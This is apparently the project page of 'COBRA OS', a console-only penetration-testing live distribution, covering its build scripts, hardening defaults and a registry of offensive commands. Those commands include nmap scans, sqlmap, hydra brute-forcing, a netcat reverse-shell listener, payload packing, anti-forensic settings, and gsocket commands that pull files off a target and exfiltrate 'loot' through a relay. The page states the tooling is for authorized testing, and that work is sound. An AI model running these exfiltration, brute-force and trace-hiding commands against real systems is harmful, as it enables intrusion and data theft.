operator@cobra:~$ ./boot --live

COBRA OS

A minimal, hardened red team live OS. Console-only by design — no X server, no display manager, no GUI. tmux is the dashboard, links2 over Tor is the browser, and every byte in the image earns its place.

[ download the iso ] $ build from source
  • 2.4 GiBiso-hybrid image
  • 0GUI packages
  • 0telemetry, ever
  • 1source of truth
/dev/tty1 — cobra live 

        
      

    

  

  






  

    
01 > what it is

    

      

        
COBRA OS is a live operating system scaffold for authorized penetration
        testing: a Debian trixie minbase core, a tool feed from the Parrot OS
        repositories, a rebranded operator shell forked from THC's hackshell, and a curated operator
        command registry — all wrapped in a red-team cyberpunk console theme.

        
It is deliberately console-only. There is no X server, no Wayland, no display
        manager and no GUI packages anywhere in the image. tmux splits are the dashboard. Web access is a
        text browser summoned deliberately, over gated connections, optionally wrapped in Tor. The result
        is a small, auditable attack surface that boots from USB and leaves nothing behind.

        
One script — chroot-setup.sh — is the single source of truth for the toolset and the
        hardening. It builds both the chroot rootfs and the live ISO, so the system you test is the system
        you ship.

        

          scaffold, not a finished distro. Treat every default — password, tool list,
          firewall rules — as something to review before it touches a network you care about.
        

      

      
    

  







  

    
02 > capabilities

    


      

        
▲

        
Console-only, on purpose

        
No X11, no Wayland, no DM, no GUI toolkits — the brief X11 experiment was tried and reverted.
        A TTY is all you get, and all you need. Smaller image, smaller attack surface, nothing to phish.

      


      

        
✕

        
Anti-forensic shell

        
No history anywhere (bash, less, mysql, psql, sqlite, redis), XHOME in
        /dev/shm that auto-destructs on exit, and a tmux that hides on a socket
        tmux ls will never show.

      


      

        
■

        
Default-deny firewall

        
nftables drops inbound and forwarded traffic by default; loopback and established sessions pass,
        ICMPv4/v6 stay alive. Inbound listeners punch deliberate, runtime-only holes.

      


      

        
●

        
Gated internet

        
Nothing touches the network by accident. Every internet-bound helper — downloads, exfil,
        recon lookups, the browser — sits behind cobrashell's xint gate. Loopback stays open
        for local listeners.

      


      

        
◆

        
Tor-ready

        
System tor daemon with SOCKS on 127.0.0.1:9050, torsocks for
        torify links2, proxychains4 for everything else, and
        proxy 9050 to export socks5h env vars for curl & co.

      


      

        
⬡

        
De-THC'd, zero telemetry

        
The hackshell fork was fully audited: upstream's recon calls to ip.thc.org are
        ripped out — engagement targets never leak to third-party infrastructure. Point them at your own
        relay with COBRA_RECON_HOST / GS_HOST.

      


      

        
▣

        
LUKS persistence

        
Live-boot with noswap persistence on the cmdline: pair the USB with an encrypted
        persistence partition and live-boot unlocks it at boot. RAM-only semantics stay the default.

      


      

        
≡

        
One source of truth

        
chroot-setup.sh runs inside the debootstrap chroot and as the live-build
        hook — one toolset, one hardening pass, two outputs: ./rootfs/ and
        cobra-os-<date>.iso.

      


      

        
✦

        
Themed boot-to-shell

        
Cobra splash on the BIOS and UEFI boot menus, a red ASCII banner on the login prompt, a remapped
        16-color VGA console palette, themed LS_COLORS, grep and man pages — all escape
        sequences, zero packages.

      


    

  







  

    
03 > the operator registry

    
Every interactive shell sources cobra-ops.sh — the retired Textual TUI's
    command set, ported to bash. opshelp lists it in-session. Every function maps 1:1 to a
    package in chroot-setup.sh and a row in the build plan.


    

      

        
          
categorycommandwhat it runspurpose

        
        
          
recon
              target <host>— shell state —set the active target (fallback for recon cmds)

          
fscan <t>nmap -T4 -Ffast scan, top 1000 ports

          
portscan <t>nmap -p- -T4full TCP scan

          
svcscan <t>nmap -sV -sC -T4service/version + default scripts

          
vulnscan <t>nmap --script vulnvuln scripts (slow, noisy)

          
udpscan <t>nmap -sU --top-ports 100top 100 UDP ports (sudo)

          
dnsq / whoisdig / whoisDNS records & whois lookups

          
smbenum <t>enum4linux-ng -ASMB/Windows shares, users, policy


          
web
              webdir <url>gobuster dirdirectory brute-force (dirb common.txt)

          
webvuln <url>nikto -hweb server scan

          
sql <url>sqlmap --batchSQL injection, randomized agent


          
creds
              brute <h> <s> <u>hydra + rockyouservice brute-force

          
crack <hashfile>john + rockyouhash cracking

          
hashcrack <m> <f>hashcat -mGPU/hash-mode cracking


          
intel
              sploit <term>searchsploitoffline exploit-db lookup (CSV on disk)

          
privesc [flags]vendored linpeasprivesc paths on THIS box — local, no network


          
capture
              sniff [iface]tcpdump -nn -llive capture

          
pcap [iface]tshark -llive decode

          
listen <port>nc -lvnpreverse-shell catcher

          
serve [port]python3 http.serverpayload hosting


          
payload
              eggmkegg.sh wizardself-extracting payload packer

          
upservphp upload serverloot-drop receiver (webplus profile)


          
dash
              monbtopsystem monitor

          
filesnnnconsole file manager

          
web [url]links2text browser — xint-gated, Tor via torify

        
      

    


    

      
+ cobrashell, underneath

      
The registry rides on top of cobrashell (THC hackshell fork):
      loot/lootmore for target situational awareness, scan,
      xssh, bounce, ghostip, hide,
      memexec, enc/dec, xtmux on a hidden socket,
      paste-site exfil via transfer/tb, and the gs-* gsocket
       toolset — every internet-bound one gated behind xint. The gsocket tools honor
       GS_HOST/GS_PORT: point them at your own relay,
       not someone else's.

    

  







  

    
04 > your own relay — gsocket, self-hosted

    
cobrashell's gs-* toolset (gs-netcat, gs-sftp, gs-exfil) rendezvous
    through the Global Socket Relay Network by default. COBRA OS is de-THC'd — nothing calls home to
    THC infrastructure — and for full independence you point the tools at a relay you own: the
    hackerschoice/gsocket project ships the
    relay daemon.

    

      

        
1 run the relay

        
# on a VPS you control (e.g. relay.cobra-os.com)
# docker — the published relay image:
docker run -d --restart unless-stopped \
    -p 7350:7350 hackerschoice/gsocket-relay

# or the relay daemon from the gsocket repo:
gsocket -s          # listens on TCP/7350

        
One TCP port; both ends connect outbound to the relay, so NAT and the
        default-deny firewall are never a problem. Streams are end-to-end encrypted (SRP) — the
        relay only ever sees ciphertext. Deploy notes & hardening: the gsocket repo.

      

      

        
2 point COBRA OS at it

        
# in the operator shell, before any gs-* work:
export GS_HOST=relay.cobra-os.com
export GS_PORT=7350
xint

# everything gsocket now rides YOUR relay:
gs-sftp-server            # browse/pull files off a target
gs-exfil loot.tar.gz      # stream loot home
# the egg wizard's gs-netcat beacon mode threads
# GS_HOST/GS_PORT into the payload too

        
Same pattern for recon: COBRA_RECON_HOST points cobrashell's
        sub/ptr at your own recon service (upstream's
        ip.thc.org calls are ripped out). All of it stays behind the
        xint gate.

      

    

    

      why bother: the gsocket stream is end-to-end encrypted on any relay — but
      your own relay also keeps connection metadata (timing, volume, pairings) on infrastructure
      you control, and a burned public relay can never take your access with it.
    

  







  

    
05 > build profiles

    
The core stays narrow. Extras ride in as space-separated
    COBRA_PROFILES at build time — each one a case in chroot-setup.sh, never
    part of the core list.

    

      

        
[ wireless ]

        
bettercap · hcxtools · hcxdumptool · reaver · bully · kismet

        
802.11 auditing beyond the aircrack-ng base — every UI a console citizen.

      

      

        
[ ad ]

        
impacket · responder · netexec · bloodhound.py

        
Active Directory & Windows ops: coercion, relaying, enumeration, collection.

      

      

        
[ exploit ]

        
metasploit-framework

        
msfconsole is a TTY native. The local exploit-db archive (searchsploit →
        sploit) is core since 2026-08-17 — this profile is just the framework.

      

      

        
[ webplus ]

        
mitmproxy · ffuf · seclists · wpscan · php-cli

        
Heavier web tooling. mitmproxy replaces Burp (Java GUIs are dead weight without X);
        php-cli powers the upserv loot-drop server.

      

    

  







  

    
06 > hardened by default

    

      
    
        
  • root locked (passwd -l) — sudo-only via the operator user, password change forced on first login
    • 
        
  • nftables default-deny input/forward; loopback + established allowed; ICMPv4/v6 kept alive (NDP needs it)
    • 
        
  • sysctl kptr/dmesg/BPF/kexec restrictions, fs.protected_*, IPv4/IPv6 sanity, ip_forward=0
    • 
        
  • modprobe usb-storage off by default; legacy protocols & filesystems blacklisted
    • 
      

      
    
        
  • history to /dev/null for bash/less/mysql/psql/sqlite/redis — plus cobrashell's RAM-only XHOME
    • 
        
  • MAC random Wi-Fi MAC per connection, stable ethernet MAC (NetworkManager)
    • 
        
  • apt no .deb cache in images; docs/man/info stripped; apt lists dropped
    • 
        
  • purge retired TUI artifacts and the whole X11/GUI package set are purged from warm chroots on rebuild
    • 
      

    

  







  

    
07 > build it yourself

    
Two host-side scripts do everything. debootstrap wants root, so run them on a
    Debian/Ubuntu host or VM.

    

      

        
1 rootfs

        
# core toolset
sudo apt install debootstrap
sudo ./build-rootfs.sh

# with extras
sudo COBRA_PROFILES="wireless exploit" ./build-rootfs.sh

# resume on a warm rootfs
sudo SKIP_DEBOOTSTRAP=1 ./build-rootfs.sh

        
Produces ./rootfs/: minimal Debian base + Parrot repo, the curated core tool set,
        locked root, the operator sudo user, default-deny nftables, sysctl/modprobe
        hardening, MAC randomization, history-off defaults.

      

      

        
2 live iso

        
# core toolset ISO
sudo apt install live-build
sudo ./build-iso.sh

# with extras
sudo COBRA_PROFILES="wireless" ./build-iso.sh

# smoke test
qemu-system-x86_64 -m 2G -cdrom cobra-os-*.iso

        
Produces cobra-os-<date>.iso (+ .sha256): iso-hybrid for BIOS
        and UEFI, live-boot with noswap persistence, LUKS persistence unlock via
        cryptsetup, themed boot menus. toram stays a deliberate TAB-edit at the boot menu.

      

    

  







  

    
08 > get the build

    

      

        
cobra-os-20260816.iso

        
    
          
  • size2.4 GiB
    • 
          
  • formatiso-hybrid (BIOS + UEFI)
    • 
          
  • baseDebian trixie minbase + Parrot (echo)
    • 
          
  • bootlive-boot · noswap · persistence
    • 
          
  • loginconsole autologin — set the operator password on first login (replaces changeme)
    • 
        

        

          download iso
          sha256
        

        
Hosted on Cloudflare R2 at dl.cobra-os.com — Pages caps files at
        25 MiB and GitHub Releases at 2 GiB, so the 2.4 GiB ISO ships from the bucket.
        The .sha256 is mirrored there and versioned here in downloads/.
        New builds: website/release.sh + rclone (see
        website/README.md).

      

      

        
verify, then write

        
# verify the image
sha256sum -c cobra-os-20260816.iso.sha256

# expected:
cobra-os-20260816.iso: OK

# write to USB (replace sdX — careful)
sudo dd if=cobra-os-20260816.iso of=/dev/sdX \
    bs=4M status=progress oflag=sync

# or smoke-test in a VM first
qemu-system-x86_64 -m 2G -cdrom cobra-os-20260816.iso

        

          change before deploying: the changeme operator password is a
          documented scaffold default. Review the tool list, PARROT_SUITE, and the nftables
          input rules for your op.
        

      

    

  







  

    
09 > the cobra palette

    
Red-team cyberpunk with zero packages and zero X — the same ramp that themes the
    boot menu, the login banner, the console, and this page.

    

      
void#050508

      
steel#d6dbe2

      
neon red#ff2a3c

      
phosphor#3dff8f

      
amber#ffb84d

      
electric#4d7cff

      
violet#c95cff

      
cyan#2ee6e6

      
gunmetal#3a3f4a

    

    

      COBRA OS boot splash — cobra on black, vesamenu-safe
      
the actual boot splash — splash.png, flattened for vesamenu, backing both the isolinux (BIOS) and GRUB (UEFI) menus.